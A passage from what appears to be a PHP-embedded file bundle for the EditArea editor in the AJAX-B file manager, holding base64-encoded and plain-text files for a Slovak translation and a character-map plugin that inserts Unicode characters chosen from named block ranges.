iAicHJlc3XFiCB2eWjEvmFkw6F2YWNpZSBva25vIiwNCmZvbnRfc2l6ZTogIi0tVmXEvmtvc8WlIHRleHR1LS0iLA0KZ29fdG9fbGluZTogInByZWpkaSBuYSByaWFkb2siLA0KZ29fdG9fbGluZV9wcm9tcHQ6ICJwcmVqZGkgbmEgcmlhZG9rOiIsDQp1bmRvOiAia3JvayBzcMOkxaUiLA0KcmVkbzogInByZXByYWNvdmHFpSIsDQpjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbjogInBvdm9sacWlL3phbWlldG7DusWlIG5pZWt0b3LDqSB6byB6b2JyYXplbsO9Y2ggZnVua2Npw60gKMO6xI1lbG5lasWhaWUgem9icmF6ZW5pZSB2ecW+YWR1amUgIHbDpMSNxaFpZSB6YcWlYcW+ZW5pZSBwcm9jZXNvcmEgQ1BVKSIsDQpoaWdobGlnaHQ6ICJwcmVwbsO6xaUgenbDvXJhesWIb3ZhbmllIHN5bnRheGUgemFwL3Z5cCIsDQpyZXNldF9oaWdobGlnaHQ6ICJ6cnXFoWnFpSB6dsO9cmF6xYhvdmFuaWUgKGFrIGplIG5lc3luY2hyb25pem92YW7DqSBzIHRleHRvbSkiLA0KaGVscDogIm8gcHJvZ3JhbWUiLA0Kc2F2ZTogInVsb8W+acWlIiwNCmxvYWQ6ICJuYcSNw610YcWlIiwNCmxpbmVfYWJicjogIkxuIiwNCmNoYXJfYWJicjogIkNoIiwNCnBvc2l0aW9uOiAiUG96w61jaWEiLA0KdG90YWw6ICJTcG9sdSIsDQpjbG9zZV9wb3B1cDogInphdnJpZcWlIG9rbm8iLA0Kc2hvcnRjdXRzOiAiU2tyYXRreSIsDQphZGRfdGFiOiAicHJpZGHFpSB0YWJ1bG92YW5pZSB0ZXh0dSIsDQpyZW1vdmVfdGFiOiAib2RzdHLDoW5pxaUgdGFidWxvdmFuaWUgdGV4dHUiLA0KYWJvdXRfbm90aWNlOiAiVXBvem9ybmVuaWU6IGZ1bmtjaWEgenbDvXJhesWIb3ZhbmlhIHN5bnRheGUgamUgZG9zdHVwbsOhIGliYSBwcmUgbWFsw70gdGV4dCIsDQp0b2dnbGU6ICJQcmVwbsO6xaUgZWRpdG9yIiwNCmFjY2Vzc2tleTogIkFjY2Vzc2tleSIsDQp0YWI6ICJaw6Fsb8W+a2EiLA0Kc2hpZnQ6ICJTaGlmdCIsDQpjdHJsOiAiQ3RybCIsDQplc2M6ICJFc2MiLA0KcHJvY2Vzc2luZzogIlNwcmFjw7p2YW0uLi4iLA0KZnVsbHNjcmVlbjogImNlbD1hIG9icmF6b3ZrYSIsDQpzeW50YXhfc2VsZWN0aW9uOiAiLS1WeWJlciBTeW50YXgtLSIsDQpzeW50YXhfY3NzOiAiQ1NTIiwNCnN5bnRheF9odG1sOiAiSFRNTCIsDQpzeW50YXhfanM6ICJKYXZhc2NyaXB0IiwNCnN5bnRheF9waHA6ICJQaHAiLA0Kc3ludGF4X3B5dGhvbjogIlB5dGhvbiIsDQpzeW50YXhfdmI6ICJWaXN1YWwgQmFzaWMiLA0Kc3ludGF4X3htbDogIlhtbCIsDQpzeW50YXhfYzogIkMiLA0Kc3ludGF4X2NwcDogIkNQUCIsDQpzeW50YXhfYmFzaWM6ICJCYXNpYyIsDQpzeW50YXhfcGFzOiAiUGFzY2FsIiwNCnN5bnRheF9icmFpbmZ1Y2s6ICJCcmFpbmZ1Y2siLA0Kc3ludGF4X3NxbDogIlNRTCIsDQpzeW50YXhfcnVieTogIlJ1YnkiLA0Kc3ludGF4X3JvYm90c3R4dDogIlJvYm90cyB0eHQiLA0Kc3ludGF4X3RzcWw6ICJULVNRTCIsDQpzeW50YXhfcGVybDogIlBlcmwiLA0Kc3ludGF4X2NvbGRmdXNpb246ICJDb2xkZnVzaW9uIiwNCmNsb3NlX3RhYjogIkNsb3NlIGZpbGUiDQp9Ow0K',
  './AJAX-B/edit_area/plugins/charmap/charmap.js' => 'LyoqDQogKiBDaGFybWFwIHBsdWdpbg0KICogYnkgQ2hyaXN0b3BoZSBEb2xpdmV0DQogKiB2MC4xICgyMDA2LzA5LzIyKQ0KICogDQogKiAgICANCiAqIFRoaXMgcGx1Z2luIGFsbG93IHRvIHVzZSBhIHZpc3VhbCBrZXlib2FyZCBhbGxvd2luZyB0byBpbnNlcnQgYW55IFVURi04IGNoYXJhY3RlcnMgaW4gdGhlIHRleHQuDQogKiANCiAqIC0gcGx1Z2luIG5hbWUgdG8gYWRkIHRvIHRoZSBwbHVnaW4gbGlzdDogImNoYXJtYXAiDQogKiAtIHBsdWdpbiBuYW1lIHRvIGFkZCB0byB0aGUgdG9vbGJhciBsaXN0OiAiY2hhcm1hcCIgDQogKiAtIHBvc3NpYmxlIHBhcmFtZXRlcnMgdG8gYWRkIHRvIEVkaXRBcmVhTG9hZGVyLmluaXQoKTogDQogKiAJCSJjaGFybWFwX2RlZmF1bHQiOiAoU3RyaW5nKSBkZWZpbmUgdGhlIG5hbWUgb2YgdGhlIGRlZmF1bHQgY2hhcmFjdGVyIHJhbmdlIGRpc3BsYXllZCBvbiBwb3B1cCBkaXNwbGF5DQogKiAJCQkJCQkJKGRlZmF1bHQ6ICJhcnJvd3MiKQ0KICogDQogKiANCiAqLw0KICAgDQp2YXIgRWRpdEFyZWFfY2hhcm1hcD0gew0KCS8qKg0KCSAqIEdldCBjYWxsZWQgb25jZSB0aGlzIGZpbGUgaXMgbG9hZGVkIChlZGl0QXJlYSBzdGlsbCBub3QgaW5pdGlhbGl6ZWQpDQoJICoNCgkgKiBAcmV0dXJuIG5vdGhpbmcJIA0KCSAqLwkgCSAJDQoJaW5pdDogZnVuY3Rpb24oKXsJDQoJCXRoaXMuZGVmYXVsdF9sYW5ndWFnZT0iQXJyb3dzIjsNCgl9DQoJDQoJLyoqDQoJICogUmV0dXJucyB0aGUgSFRNTCBjb2RlIGZvciBhIHNwZWNpZmljIGNvbnRyb2wgc3RyaW5nIG9yIGZhbHNlIGlmIHRoaXMgcGx1Z2luIGRvZXNuJ3QgaGF2ZSB0aGF0IGNvbnRyb2wuDQoJICogQSBjb250cm9sIGNhbiBiZSBhIGJ1dHRvbiwgc2VsZWN0IGxpc3Qgb3IgYW55IG90aGVyIEhUTUwgaXRlbSB0byBwcmVzZW50IGluIHRoZSBFZGl0QXJlYSB1c2VyIGludGVyZmFjZS4NCgkgKiBMYW5ndWFnZSB2YXJpYWJsZXMgc3VjaCBhcyB7JGxhbmdfc29tZWtleX0gd2lsbCBhbHNvIGJlIHJlcGxhY2VkIHdpdGggY29udGVudHMgZnJvbQ0KCSAqIHRoZSBsYW5ndWFnZSBwYWNrcy4NCgkgKiANCgkgKiBAcGFyYW0ge3N0cmluZ30gY3RybF9uYW1lOiB0aGUgbmFtZSBvZiB0aGUgY29udHJvbCB0byBhZGQJICANCgkgKiBAcmV0dXJuIEhUTUwgY29kZSBmb3IgYSBzcGVjaWZpYyBjb250cm9sIG9yIGZhbHNlLg0KCSAqIEB0eXBlIHN0cmluZwlvciBib29sZWFuDQoJICovCQ0KCSxnZXRfY29udHJvbF9odG1sOiBmdW5jdGlvbihjdHJsX25hbWUpew0KCQlzd2l0Y2goY3RybF9uYW1lKXsNCgkJCWNhc2UgImNoYXJtYXAiOg0KCQkJCS8vIENvbnRyb2wgaWQsIGJ1dHRvbiBpbWcsIGNvbW1hbmQNCgkJCQlyZXR1cm4gcGFyZW50LmVkaXRBcmVhTG9hZGVyLmdldF9idXR0b25faHRtbCgnY2hhcm1hcF9idXQnLCAnY2hhcm1hcC5naWYnLCAnY2hhcm1hcF9wcmVzcycsIGZhbHNlLCB0aGlzLmJhc2VVUkwpOw0KCQl9DQoJCXJldHVybiBmYWxzZTsNCgl9DQoJLyoqDQoJICogR2V0IGNhbGxlZCBvbmNlIEVkaXRBcmVhIGlzIGZ1bGx5IGxvYWRlZCBhbmQgaW5pdGlhbGlzZWQNCgkgKgkgDQoJICogQHJldHVybiBub3RoaW5nDQoJICovCSAJIAkNCgksb25sb2FkOiBmdW5jdGlvbigpeyANCgkJaWYoZWRpdEFyZWEuc2V0dGluZ3NbImNoYXJtYXBfZGVmYXVsdCJdICYmIGVkaXRBcmVhLnNldHRpbmdzWyJjaGFybWFwX2RlZmF1bHQiXS5sZW5ndGg+MCkNCgkJCXRoaXMuZGVmYXVsdF9sYW5ndWFnZT0gZWRpdEFyZWEuc2V0dGluZ3NbImNoYXJtYXBfZGVmYXVsdCJdOw0KCX0NCgkNCgkvKioNCgkgKiBJcyBjYWxsZWQgZWFjaCB0aW1lIHRoZSB1c2VyIHRvdWNoIGEga2V5Ym9hcmQga2V5Lg0KCSAqCSANCgkgKiBAcGFyYW0gKGV2ZW50KSBlOiB0aGUga2V5ZG93biBldmVudA0KCSAqIEByZXR1cm4gdHJ1ZSAtIHBhc3MgdG8gbmV4dCBoYW5kbGVyIGluIGNoYWluLCBmYWxzZSAtIHN0b3AgY2hhaW4gZXhlY3V0aW9uDQoJICogQHR5cGUgYm9vbGVhbgkgDQoJICovDQoJLG9ua2V5ZG93bjogZnVuY3Rpb24oZSl7DQoJCQ0KCX0NCgkNCgkvKioNCgkgKiBFeGVjdXRlcyBhIHNwZWNpZmljIGNvbW1hbmQsIHRoaXMgZnVuY3Rpb24gaGFuZGxlcyBwbHVnaW4gY29tbWFuZHMuDQoJICoNCgkgKiBAcGFyYW0ge3N0cmluZ30gY21kOiB0aGUgbmFtZSBvZiB0aGUgY29tbWFuZCBiZWluZyBleGVjdXRlZA0KCSAqIEBwYXJhbSB7dW5rbm93bn0gcGFyYW06IHRoZSBwYXJhbWV0ZXIgb2YgdGhlIGNvbW1hbmQJIA0KCSAqIEByZXR1cm4gdHJ1ZSAtIHBhc3MgdG8gbmV4dCBoYW5kbGVyIGluIGNoYWluLCBmYWxzZSAtIHN0b3AgY2hhaW4gZXhlY3V0aW9uDQoJICogQHR5cGUgYm9vbGVhbgkNCgkgKi8NCgksZXhlY0NvbW1hbmQ6IGZ1bmN0aW9uKGNtZCwgcGFyYW0pew0KCQkvLyBIYW5kbGUgY29tbWFuZHMNCgkJc3dpdGNoKGNtZCl7DQoJCQljYXNlICJjaGFybWFwX3ByZXNzIjoNCgkJCQl3aW49IHdpbmRvdy5vcGVuKHRoaXMuYmFzZVVSTCsicG9wdXAuaHRtbCIsICJjaGFybWFwIiwgIndpZHRoPTUwMCxoZWlnaHQ9MjcwLHNjcm9sbGJhcnM9eWVzLHJlc2l6YWJsZT15ZXMiKTsNCgkJCQl3aW4uZm9jdXMoKTsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJLy8gUGFzcyB0byBuZXh0IGhhbmRsZXIgaW4gY2hhaW4NCgkJcmV0dXJuIHRydWU7DQoJfQ0KCQ0KfTsNCg0KLy8gQWRkcyB0aGUgcGx1Z2luIGNsYXNzIHRvIHRoZSBsaXN0IG9mIGF2YWlsYWJsZSBFZGl0QXJlYSBwbHVnaW5zDQplZGl0QXJlYS5hZGRfcGx1Z2luKCJjaGFybWFwIiwgRWRpdEFyZWFfY2hhcm1hcCk7DQo=',
  './AJAX-B/edit_area/plugins/charmap/popup.html' => 'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMTEvRFREL3hodG1sMTEuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iID4NCjxoZWFkPg0KPHRpdGxlPnskY2hhcm1hcF90aXRsZX08L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJjc3MvY2hhcm1hcC5jc3MiIC8+DQo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0ianNjcmlwdHMvbWFwLmpzIj4NCjwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHkgb25sb2FkPSdtYXBfbG9hZCgpJz4NCjxkaXYgaWQ9J3ByZXZpZXdfY29kZScgY2xhc3M9J3ByZXZpZXcnPjwvZGl2Pg0KPGRpdiBpZD0ncHJldmlld19jaGFyJyBjbGFzcz0ncHJldmlldyc+PC9kaXY+DQo8aDE+eyRjaGFybWFwX3RpdGxlfTo8L2gxPg0KPHNlbGVjdCBpZD0nc2VsZWN0X3JhbmdlJyBvbmNoYW5nZT0ncmVuZGVyQ2hhck1hcEhUTUwoKScgdGl0bGU9J3skY2hhcm1hcF9jaG9vc2VfYmxvY2t9Jz4NCjwvc2VsZWN0Pg0KPGRpdiBpZD0nY2hhcl9saXN0Jz4NCg0KPC9kaXY+DQoNCg0KDQo8L2JvZHk+DQo8L2h0bWw+DQo=',
  './AJAX-B/edit_area/plugins/charmap/css/charmap.css' => 'Ym9keXsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEVFOyANCglmb250OiAxMnB4IG1vbm9zcGFjZSwgc2Fucy1zZXJpZjsNCn0NCg0Kc2VsZWN0ew0KCWJhY2tncm91bmQtY29sb3I6ICNGOUY5Rjk7DQoJYm9yZGVyOiBzb2xpZCAxcHggIzg4ODg4ODsNCn0NCg0KaDEsIGgyLCBoMywgaDQsIGg1LCBoNnsNCgltYXJnaW46IDA7DQoJcGFkZGluZzogMDsNCgljb2xvcjogIzJCNkZCNjsNCn0NCg0KaDF7DQoJZm9udC1zaXplOiAxLjVlbTsNCn0NCg0KZGl2I2NoYXJfbGlzdHsNCgloZWlnaHQ6IDIwMHB4Ow0KCW92ZXJmbG93OiBhdXRvOw0KCXBhZGRpbmc6IDFweDsNCglib3JkZXI6IDFweCBzb2xpZCAjMEEyNDZBOw0KCWJhY2tncm91bmQtY29sb3I6ICNGOUY5Rjk7DQoJY2xlYXI6IGJvdGg7DQoJbWFyZ2luLXRvcDogNXB4Ow0KfQ0KDQphLmNoYXJ7DQoJZGlzcGxheTogYmxvY2s7DQoJZmxvYXQ6IGxlZnQ7DQoJd2lkdGg6IDIwcHg7DQoJaGVpZ2h0OiAyMHB4Ow0KCWxpbmUtaGVpZ2h0OiAyMHB4Ow0KCW1hcmdpbjogMXB4Ow0KCWJvcmRlcjogc29saWQgMXB4ICM4ODg4ODg7DQoJdGV4dC1hbGlnbjogY2VudGVyOw0KCWN1cnNvcjogcG9pbnRlcjsNCn0NCg0KYS5jaGFyOmhvdmVyew0KCWJhY2tncm91bmQtY29sb3I6ICNDQ0NDQ0M7DQp9DQoNCi5wcmV2aWV3ew0KCWJvcmRlcjogc29saWQgMXB4ICM4ODg4ODg7DQoJd2lkdGg6IDUwcHg7DQoJcGFkZGluZzogMnB4IDVweDsNCgloZWlnaHQ6IDM1cHg7DQoJbGluZS1oZWlnaHQ6IDM1cHg7DQoJdGV4dC1hbGlnbjpjZW50ZXI7CSANCgliYWNrZ3JvdW5kLWNvbG9yOiAjQ0NDQ0NDOw0KCWZvbnQtc2l6ZTogMmVtOw0KCWZsb2F0OiByaWdodDsNCglmb250LXdlaWdodDogYm9sZDsNCgltYXJnaW46IDAgMCA1cHggNXB4Ow0KfQ0KDQojcHJldmlld19jb2Rlew0KCWZvbnQtc2l6ZTogMS4xZW07DQoJd2lkdGg6IDcwcHg7DQp9DQo=',
  './AJAX-B/edit_area/plugins/charmap/images/charmap.gif' => 'R0lGODlhFAAUANQLACZKqoqW2iJ71mpzusC+1FyL2C5PwoKOzh6W7qW12WJixtnd6TdBqD1z0WCY7nqs6yRiykZSp1Jy0JaKyrzJ5J6/6jZNszh+4Dtix6Kjy0ZSukaa7lio9Haa2G561gAAACH5BAEAAB8ALAAAAAAUABQAAAVy4CeOZGmeaKqu7LlU1cNxT0KpsXckSVBslwOK4lAQSp2GIXNyXCangmFwejSYJinVRMFoTgIAtrSQGBKlhCByPFEgklIB0kYl65TG9oSgLKYjBQ0EGQBgAhYMESMNGBYAhiYNiQwMI44WEYstnJ2enyghADs=',
  './AJAX-B/edit_area/plugins/charmap/jscripts/map.js' => 'var editArea;


/**
 *  UTF-8 list taken from http://www.utf8-chartable.de/unicode-utf8-table.pl?utf8=dec 
 */  
 

/*
var char_range_list={
"Basic Latin":"0021,007F",
"Latin-1 Supplement":"0080,00FF",
"Latin Extended-A":"0100,017F",
"Latin Extended-B":"0180,024F",
"IPA Extensions":"0250,02AF",
"Spacing Modifier Letters":"02B0,02FF",

"Combining Diacritical Marks":"0300,036F",
"Greek and Coptic":"0370,03FF",
"Cyrillic":"0400,04FF",
"Cyrillic Supplement":"0500,052F",
"Armenian":"0530,058F",
"Hebrew":"0590,05FF",
"Arabic":"0600,06FF",
"Syriac":"0700,074F",
"Arabic Supplement":"0750,077F",

"Thaana":"0780,07BF",
"Devanagari":"0900,097F",
"Bengali":"0980,09FF",
"Gurmukhi":"0A00,0A7F",
"Gujarati":"0A80,0AFF",
"Oriya":"0B00,0B7F",
"Tamil":"0B80,0BFF",
"Telugu":"0C00,0C7F",
"Kannada":"0C80,0CFF",

"Malayalam":"0D00,0D7F",
"Sinhala":"0D80,0DFF",
"Thai":"0E00,0E7F",
"Lao":"0E80,0EFF",
"Tibetan":"0F00,0FFF",
"Myanmar":"1000,109F",
"Georgian":"10A0,10FF",
"Hangul Jamo":"1100,11FF",
"Ethiopic":"1200,137F",

"Ethiopic Supplement":"1380,139F",
"Cherokee":"13A0,13FF",
"Unified Canadian Aboriginal Syllabics":"1400,167F",
"Ogham":"1680,169F",
"Runic":"16A0,16FF",
"Tagalog":"1700,171F",
"Hanunoo":"1720,173F",
"Buhid":"1740,175F",
"Tagbanwa":"1760,177F",

"Khmer":"1780,17FF",
"Mongolian":"1800,18AF",
"Limbu":"1900,194F",
"Tai Le":"1950,197F",
"New Tai Lue":"1980,19DF",
"Khmer Symbols":"19E0,19FF",
"Buginese":"1A00,1A1F",
"Phonetic Extensions":"1D00,1D7F",
"Phonetic Extensions Supplement":"1D80,1DBF",

"Combining Diacritical Marks Supplement":"1DC0,1DFF",
"Latin Extended Additional":"1E00,1EFF",
"Greek Extended":"1F00,1FFF",
"General Punctuation":"2000,206F",
"Superscripts and Subscripts":"2070,209F",
"Currency Symbols":"20A0,20CF",
"Combining Diacritical Marks for Symbols":"20D0,20FF",
"Letterlike Symbols":"2100,214F",
"Number Forms":"2150,218F",

"Arrows":"2190,21FF",
"Mathematical Operators":"2200,22FF",
"Miscellaneous Technical":"2300,23FF",
"Control Pictures":"2400,243F",
"Optical Character Recognition":"2440,245F",
"Enclosed Alphanumerics":"2460,24FF",
"Box Drawing":"2500,257F",
"Block Elements":"2580,259F",
"Geometric Shapes":"25A0,25FF",

"Miscellaneous Symbols":"2600,26FF",
"Dingbats":"2700,27BF",
"Miscellaneous Mathematical Symbols-A":"27C0,27EF",
"Supplemental Arrows-A":"27F0,27FF",
"Braille Patterns":"2800,28FF",
"Supplemental Arrows-B":"2900,297F",
"Miscellaneous Mathematical Symbols-B":"2980,29FF",
"Supplemental Mathematical Operators":"2A00,2AFF",
"Miscellaneous Symbols and Arrows":"2B00,2BFF",

"Glagolitic":"2C00,2C5F",
"Coptic":"2C80,2CFF",
"Georgian Supplement":"2D00,2D2F",
"Tifinagh":"2D30,2D7F",
"Ethiopic Extended":"2D80,2DDF",
"Supplemental Punctuation":"2E00,2E7F",
"CJK Radicals Supplement":"2E80,2EFF",
"Kangxi Radicals":"2F00,2FDF",
"Ideographic Description Characters":"2FF0,2FFF",

"CJK Symbols and Punctuation":"3000,303F",
"Hiragana":"3040,309F",
"Katakana":"30A0,30FF",
"Bopomofo":"3100,312F",
"Hangul Compatibility Jamo":"3130,318F",
"Kanbun":"3190,319F",
"Bopomofo Extended":"31A0,31BF",
"CJK Strokes":"31C0,31EF",
"Katakana Phonetic Extensions":"31F0,31FF",

"Enclosed CJK Letters and Months":"3200,32FF",
"CJK Compatibility":"3300,33FF",
"CJK Unified Ideographs Extension A":"3400,4DBF",
"Yijing Hexagram Symbols":"4DC0,4DFF",
"CJK Unified Ideographs":"4E00,9FFF",
"Yi Syllables":"A000,A48F",
"Yi Radicals":"A490,A4CF",
"Modifier Tone Letters":"A700,A71F",
"Syloti Nagri":"A800,A82F",

"Hangul Syllables":"AC00,D7AF",
"High Surrogates":"D800,DB7F",
"High Private Use Surrogates":"DB80,DBFF",
"Low Surrogates":"DC00,DFFF",
"Private Use Area":"E000,F8FF",
"CJK Compatibility Ideographs":"F900,FAFF",
"Alphabetic Presentation Forms":"FB00,FB4F",
"Arabic Presentation Forms-A":"FB50,FDFF",
"Variation Selectors":"FE00,FE0F",

"Vertical Forms":"FE10,FE1F",
"Combining Half Marks":"FE20,FE2F",
"CJK Compatibility Forms":"FE30,FE4F",
"Small Form Variants":"FE50,FE6F",
"Arabic Presentation Forms-B":"FE70,FEFF",
"Halfwidth and Fullwidth Forms":"FF00,FFEF",
"Specials":"FFF0,FFFF",
"Linear B Syllabary":"10000,1007F",
"Linear B Ideograms":"10080,100FF",

"Aegean Numbers":"10100,1013F",
"Ancient Greek Numbers":"10140,1018F",
"Old Italic":"10300,1032F",
"Gothic":"10330,1034F",
"Ugaritic":"10380,1039F",
"Old Persian":"103A0,103DF",
"Deseret":"10400,1044F",
"Shavian":"10450,1047F",
"Osmanya":"10480,104AF",

"Cypriot Syllabary":"10800,1083F",
"Kharoshthi":"10A00,10A5F",
"Byzantine Musical Symbols":"1D000,1D0FF",
"Musical Symbols":"1D100,1D1FF",
"Ancient Greek Musical Notation":"1D200,1D24F",
"Tai Xuan Jing Symbols":"1D300,1D35F",
"Mathematical Alphanumeric Symbols":"1D400,1D7FF",
"CJK Unified Ideographs Extension B":"20000,2A6DF",
"CJK Compatibility Ideographs Supplement":"2F800,2FA1F",
"Tags":"E0000,E007F",
"Variation Selectors Supplement":"E0100,E01EF"
};
*/
var char_range_list={
"Aegean Numbers":"10100,1013F",
"Alphabetic Presentation Forms":"FB00,FB4F",
"Ancient Greek Musical Notation":"1D200,1D24F",
"Ancient Greek Numbers":"10140,1018F",
"Arabic":"0600,06FF",
"Arabic Presentation Forms-A":"FB50,FDFF",
"Arabic Presentation Forms-B":"FE70,FEFF",
"Arabic Supplement":"0750,077F",
"Armenian":"0530,058F",
"Arrows":"2190,21FF",
"Basic Latin":"0020,007F",
"Bengali":"0980,09FF",
"Block Elements":"2580,259F",
"Bopomofo Extended":"31A0,31BF",
"Bopomofo":"3100,312F",
"Box Drawing":"2500,257F",
"Braille Patterns":"2800,28FF",
"Buginese":"1A00,1A1F",
"Buhid":"1740,175F",
"Byzantine Musical Symbols":"1D000,1D0FF",
"CJK Compatibility Forms":"FE30,FE4F",
"CJK Compatibility Ideographs Supplement":"2F800,2FA1F",
"CJK Compatibility Ideographs":"F900,FAFF",
"CJK Compatibility":"3300,33FF",
"CJK Radicals Supplement":"2E80,2EFF",
"CJK Strokes":"31C0,31EF",
"CJK Symbols and Punctuation":"3000,303F",
"CJK Unified Ideographs Extension A":"3400,4DBF",
"CJK Unified Ideographs Extension B":"20000,2A6DF",
"CJK Unified Ideographs":"4E00,9FFF",
"Cherokee":"13A0,13FF",
"Combining Diacritical Marks Supplement":"1DC0,1DFF",
"Combining Diacritical Marks for Symbols":"20D0,20FF",
"Combining Diacritical Marks":"0300,036F",
"Combining Half Marks":"FE20,FE2F",
"Control Pictures":"2400,243F",
"Coptic":"2C80,2CFF",
"Currency Symbols":"20A0,20CF",
"Cypriot Syllabary":"10800,1083F",
"Cyrillic Supplement":"0500,052F",
"Cyrillic":"0400,04FF",
"Deseret":"10400,1044F",
"Devanagari":"0900,097F",
"Dingbats":"2700,27BF",
"Enclosed Alphanumerics":"2460,24FF",
"Enclosed CJK Letters and Months":"3200,32FF",
"Ethiopic Extended":"2D80,2DDF",
"Ethiopic Supplement":"1380,139F",
"Ethiopic":"1200,137F",
"General Punctuation":"2000,206F",
"Geometric Shapes":"25A0,25FF",
"Georgian Supplement":"2D00,2D2F",
"Georgian":"10A0,10FF",
"Glagolitic":"2C00,2C5F",
"Gothic":"10330,1034F",
"Greek Extended":"1F00,1FFF",
"Greek and Coptic":"0370,03FF",
"Gujarati":"0A80,0AFF",
"Gurmukhi":"0A00,0A7F",
"Halfwidth and Fullwidth Forms":"FF00,FFEF",
"Hangul Compatibility Jamo":"3130,318F",
"Hangul Jamo":"1100,11FF",
"Hangul Syllables":"AC00,D7AF",
"Hanunoo":"1720,173F",
"Hebrew":"0590,05FF",
"High Private Use Surrogates":"DB80,DBFF",
"High Surrogates":"D800,DB7F",
"Hiragana":"3040,309F",
"IPA Extensions":"0250,02AF",
"Ideographic Description Characters":"2FF0,2FFF",
"Kanbun":"3190,319F",
"Kangxi Radicals":"2F00,2FDF",
"Kannada":"0C80,0CFF",
"Katakana Phonetic Extensions":"31F0,31FF",
"Katakana":"30A0,30FF",
"Kharoshthi":"10A00,10A5F",
"Khmer Symbols":"19E0,19FF",
"Khmer":"1780,17FF",
"Lao":"0E80,0EFF",
"Latin Extended Additional":"1E00,1EFF",
"Latin Extended-A":"0100,017F",
"Latin Extended-B":"0180,024F",
"Latin-1 Supplement":"0080,00FF",
"Letterlike Symbols":"2100,214F",
"Limbu":"1900,194F",
"Linear B Ideograms":"10080,100FF",
"Linear B Syllabary":"10000,1007F",
"Low Surrogates":"DC00,DFFF",
"Malayalam":"0D00,0D7F",
"Mathematical Alphanumeric Symbols":"1D400,1D7FF",
"Mathematical Operators":"2200,22FF",
"Miscellaneous Mathematical Symbols-A":"27C0,27EF",
"Miscellaneous Mathematical Symbols-B":"2980,29FF",
"Miscellaneous Symbols and Arrows":"2B00,2BFF",
"Miscellaneous Symbols":"2600,26FF",
"Miscellaneous Technical":"2300,23FF",
"Modifier Tone Letters":"A700,A71F",
"Mongolian":"1800,18AF",
"Musical Symbols":"1D100,1D1FF",
"Myanmar":"1000,109F",
"New Tai Lue":"1980,19DF",
"Number Forms":"2150,218F",
"Ogham":"1680,169F",
"Old Italic":"10300,1032F",
"Old Persian":"103A0,103DF",
"Optical Character Recognition":"2440,245F",
"Oriya":"0B00,0B7F",
"Osmanya":"10480,104AF",
"Phonetic Extensions Supplement":"1D80,1DBF",
"Phonetic Extensions":"1D00,1D7F",
"Private Use Area":"E000,F8FF",
"Runic":"16A0,16FF",
"Shavian":"10450,1047F",
"Sinhala":"0D80,0DFF",
"Small Form Variants":"FE50,FE6F",
"Spacing Modifier Letters":"02B0,02FF",
"Specials":"FFF0,FFFF",
"Superscripts and Subscripts":"2070,209F",
"Supplemental Arrows-A":"27F0,27FF",
"Supplemental Arrows-B":"2900,297F",
"Supplemental Mathematical Operators":"2A00,2AFF",
"Supplemental Punctuation":"2E00,2E7F",
"Syloti Nagri":"A800,A82F",
"Syriac":"0700,074F",
"Tagalog":"1700,171F",
"Tagbanwa":"1760,177F",
"Tags":"E0000,E007F",
"Tai Le":"1950,197F",
"Tai Xuan Jing Symbols":"1D300,1D35F",
"Tamil":"0B80,0BFF",
"Telugu":"0C00,0C7F",
"Thaana":"0780,07BF",
"Thai":"0E00,0E7F",
"Tibetan":"0F00,0FFF",
"Tifinagh":"2D30,2D7F",
"Ugaritic":"10380,1039F",
"Unified Canadian Aboriginal Syllabics":"1400,167F",
"Variation Selectors Supplement":"E0100,E01EF",
"Variation Selectors":"FE00,FE0F",
"Vertical Forms":"FE10,FE1F",
"Yi Radicals":"A490,A4CF",
"Yi Syllables":"A000,A48F",
"Yijing Hexagram Symbols":"4DC0,4DFF"
};

var insert="charmap_insert";

function map_load(){
	editArea=opener.editArea;
	// translate the document
	insert= editArea.get_translation(insert, "word");
	//alert(document.title);
	document.title= editArea.get_translation(document.title, "template");
	document.body.innerHTML= editArea.get_translation(document.body.innerHTML, "template");
	//document.title= editArea.get_translation(document.getElementBytitle, "template");
	
	var selected_lang=opener.EditArea_charmap.default_language.toLowerCase();
	var selected=0;
	
	var select= document.getElementById("select_range")
	for(var i in char_range_list){
		if(i.toLowerCase()==selected_lang)
			selected=select.options.length;
		select.options[select.options.length]=new Option(i, char_range_list[i]);
	}
	select.options[selected].selected=true;
/*	start=0;
	end=127;
	content="";
	for(var i=start; i<end; i++){
		content+="&#"+i+"; ";
	}
	document.getElementById("char_list").innerHTML=content;*/
	renderCharMapHTML();
}


function renderCharMapHTML() {
	range= document.getElementById("select_range").value.split(",");

	start= parseInt(range[0],16);
	end= parseInt(range[1],16);
	var charsPerRow = 20, tdWidth=20, tdHeight=20;
	html="";
	for (var i=start; i<end; i++) {
		html+="<a class='char' onmouseover='previewChar(\""+ i + "\");' onclick='insertChar(\""+ i + "\");' title='"+ insert +"'>"+ String.fromCharCode(i) +"</a>";
	}
	document.getElementById("char_list").innerHTML= html;
	document.getElementById("preview_char").innerHTML="";
}

function previewChar(i){
	document.getElementById("preview_char").innerHTML= String.fromCharCode(i);
	document.getElementById("preview_code").innerHTML= "&amp;#"+ i +";";
}

function insertChar(i){
	opener.parent.editAreaLoader.setSelectedText(editArea.id, String.fromCharCode( i));
	range= opener.parent.editAreaLoader.getSelectionRange(editArea.id);
	opener.parent.editAreaLoader.setSelectionRange(editArea.id, range["end"], range["end"]);
	window.focus();
}
',
